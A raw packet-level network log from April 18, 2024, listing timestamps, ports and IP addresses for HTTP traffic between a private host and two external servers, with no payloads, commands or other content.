Apr 18, 2024 23:40:22.678634882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678667068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678670883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678704023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678714037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678741932 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678750038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678780079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678788900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678817034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678826094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678854942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678863049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678891897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678904057 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678930044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678942919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.678967953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.678982973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679006100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679022074 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679044962 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679055929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679081917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679091930 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679119110 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679127932 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679157019 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679169893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679195881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679203033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679234028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679243088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679270983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679284096 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679310083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679320097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679347038 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679359913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679394960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679416895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679455042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679466963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679492950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679501057 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679529905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679541111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679567099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679579020 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679603100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679615974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679641008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679651976 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679680109 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679691076 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679718018 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679729939 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679754972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679764986 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679792881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679804087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679828882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679841995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679867029 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679877996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679904938 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679914951 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679941893 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679953098 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.679979086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.679990053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.680016994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.680027008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.680056095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.680063009 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.680094004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.680118084 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.680140018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.680188894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.680241108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.731106997 CEST	80	49795	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.737673998 CEST	80	49795	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.737766981 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.898490906 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.898823023 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.904627085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.904692888 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.904747963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.904791117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.916567087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.916610956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.916625977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.916687012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.921333075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.921384096 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.925867081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.925908089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.925932884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.925945997 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.925949097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.925985098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926023006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926028967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926060915 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926071882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926100969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926105976 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926139116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926155090 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926175117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926179886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926215887 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926219940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926254034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926301003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926341057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926377058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926414013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926419973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926450968 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926454067 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926491022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926493883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926528931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926532030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926568985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926570892 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926609039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926609993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926645994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926646948 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926683903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926685095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926719904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926727057 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926759005 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926763058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926799059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.926933050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926971912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.926975012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927011013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927073002 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927109003 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927114010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927145958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927150011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927189112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927190065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927227020 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927263975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927265882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927300930 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927304029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927339077 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927341938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927378893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927408934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927445889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927453041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927484989 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927484989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927521944 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927525997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927560091 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927596092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927602053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927633047 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927639961 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927670956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927676916 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927709103 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927746058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927752018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927783966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927788019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927822113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927825928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927860022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927864075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927900076 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927901030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927939892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927942038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.927978992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.927980900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928015947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928052902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928059101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928091049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928096056 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928138971 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928144932 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928183079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928184032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928220987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928247929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928257942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928261995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928297043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928297997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928333044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928337097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928371906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928371906 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928410053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928411007 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928451061 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928488016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928524971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928529978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928561926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928565979 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928600073 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928605080 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928637981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928641081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928675890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928682089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928714037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928719997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928755045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928802013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928816080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928853989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928858042 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928891897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928899050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928930044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928934097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.928967953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.928972006 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929006100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929011106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929059982 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929075956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929084063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929101944 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929105043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929131031 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929155111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929156065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929195881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929199934 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929233074 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929241896 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929270983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929272890 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929308891 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929316044 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929346085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929383039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929384947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929420948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929431915 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929459095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929466963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929497004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929506063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929536104 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929569960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929605961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929610968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929645061 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929656029 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929693937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929693937 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929730892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929734945 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929769039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929775000 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929806948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929817915 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929846048 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929848909 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929884911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929888010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929923058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929925919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.929961920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.929965019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930002928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930010080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930025101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930053949 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930061102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930064917 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930099964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930118084 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930138111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930138111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930175066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930176973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930213928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930213928 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930252075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930254936 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930289030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930289030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930325985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930326939 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930362940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930365086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930402994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930403948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930442095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930442095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930481911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930481911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930519104 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930519104 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930556059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930557013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930593014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930629969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930668116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:22.930670023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.930706978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:22.996735096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996735096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996735096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996735096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996834993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996834993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996835947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996835947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996876001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996876955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996900082 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996926069 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996958017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.996978045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997021914 CEST	49741	80	192.168.2.4	193.233.132.56
